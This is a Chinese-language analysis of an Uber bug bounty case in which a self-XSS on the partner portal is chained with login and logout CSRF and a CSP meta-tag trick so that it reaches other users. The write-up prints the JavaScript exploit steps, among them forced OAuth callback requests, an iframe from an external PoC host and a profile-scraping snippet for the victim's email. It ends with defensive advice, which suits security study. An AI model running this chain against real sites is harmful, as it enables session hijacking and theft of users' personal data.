Uber Bug Bounty:将self-XSS转变为good-XSS
字数 1597 2025-08-26 22:11:23
从Self-XSS到Good-XSS:Uber漏洞赏金案例分析
1. 漏洞背景
本案例研究了一个在Uber合作伙伴门户网站上发现的XSS漏洞,以及如何通过创造性思维将其从Self-XSS转变为可利用的Good-XSS漏洞。
1.1 初始发现
- 漏洞位置:Uber合作伙伴门户网站的驱动程序个人资料编辑页面
- 漏洞类型:存储型XSS
- 复现步骤:将个人资料字段值修改为
<script>alert(document.domain);</script>可触发XSS
1.2 Self-XSS的限制
- 该XSS仅影响修改自己个人资料的用户
- 无法直接利用此漏洞攻击其他用户
- 传统攻击场景(如窃取cookie)无法实现
2. 相关技术分析
2.1 Uber的OAuth流程
- 用户访问
partners.uber.com - 重定向到授权服务器
login.uber.com - 用户输入凭据
- 重定向回
partners.uber.com/oauth/callback?code=...
2.2 发现的安全问题
- OAuth回调缺少state参数:可能导致CSRF漏洞
- 注销功能存在CSRF漏洞:
partners.uber.com/logout会销毁会话- 然后重定向到
login.uber.com/logout
3. 漏洞利用链构建
3.1 总体思路
将三个小问题组合利用:
- Self-XSS漏洞
- 登录CSRF漏洞
- 注销CSRF漏洞
3.2 攻击步骤
第一步:注销用户但不破坏会话
- 使用CSP技巧阻止完整注销流程
<meta http-equiv="Content-Security-Policy" content="img-src https://partners.uber.com">
第二步:将用户登录到攻击者账户
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<script>
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = 'https://partners.uber.com/login/';
loginImg.onerror = redir;
}
var redir = function() {
var code = window.location.hash.slice(1);
var loginImg2 = document.createElement('img');
loginImg2.src = 'https://partners.uber.com/oauth/callback?code=' + code;
loginImg2.onerror = function() {
window.location = 'https://partners.uber.com/profile/';
}
}
</script>
第三步:切换回受害者账户
// 创建iframe将用户从攻击者账户登出并登回自己账户
var loginIframe = document.createElement('iframe');
loginIframe.setAttribute('src', 'https://fin1te.net/poc/uber/login-target.html');
document.body.appendChild(loginIframe);
iframe内容:
<meta http-equiv="Content-Security-Policy" content="img-src partners.uber.com">
<script>
var redir = function() {
window.location = 'https://partners.uber.com/login/';
};
</script>
第四步:窃取受害者数据
setTimeout(function() {
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://partners.uber.com/profile/');
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
profileIframe.onload = function() {
var d = document.getElementById('pi').contentWindow.document.body.innerHTML;
var matches = /value=name="email"/.exec(d);
alert(matches[1]);
}
}, 9000);
4. 关键技术点
4.1 CSP绕过技巧
- 使用
<meta>标签设置CSP策略,限制请求只发送到partners.uber.com - 阻止浏览器完成到
login.uber.com的重定向 - 利用
onerror事件处理程序在请求被阻止时执行代码
4.2 会话控制技术
- 注销控制:通过CSP限制确保只注销
partners.uber.com而不影响login.uber.com的会话 - 登录控制:分阶段控制登录流程,先初始化登录再注入code参数
- 会话切换:使用iframe在后台完成会话切换操作
4.3 同源策略利用
- 利用
X-Frame-Options设置为sameorigin的特性 - 通过iframe访问同源内容(
contentWindow)
5. 完整攻击流程
- 攻击者将恶意payload存储在自己的个人资料中
- 攻击者准备一个包含code参数的URL
- 诱使受害者访问攻击者构造的页面
- 受害者被:
- 从
partners.uber.com登出 - 登录到攻击者的账户
- 执行攻击者个人资料中的XSS payload
- 从
- 在后台:
- 受害者被从攻击者账户登出
- 重新登录回自己的账户
- 攻击者通过iframe访问受害者的个人资料页面
- 窃取受害者敏感信息
6. 防御建议
-
输入过滤:
- 对所有用户输入进行严格的过滤和转义
- 实施内容安全策略
-
OAuth改进:
- 始终使用state参数
- 验证回调请求的来源
-
会话管理:
- 注销功能应完全终止所有相关会话
- 实施CSRF保护机制
-
框架保护:
- 设置适当的X-Frame-Options头
- 考虑使用Frame Buster脚本
-
安全开发:
- 实施严格的同源策略
- 定期进行安全审计和渗透测试
7. 总结
本案例展示了如何通过创造性思维将看似无害的Self-XSS转变为严重的Good-XSS漏洞。关键在于:
- 深入理解系统架构和认证流程
- 发现并串联多个小漏洞
- 巧妙利用浏览器安全机制(如CSP)来实现攻击目的
- 分阶段控制用户会话状态
这种攻击方式强调了在安全评估中考虑漏洞组合效应的重要性,以及即使看似低风险的漏洞也可能在特定条件下转变为高危漏洞。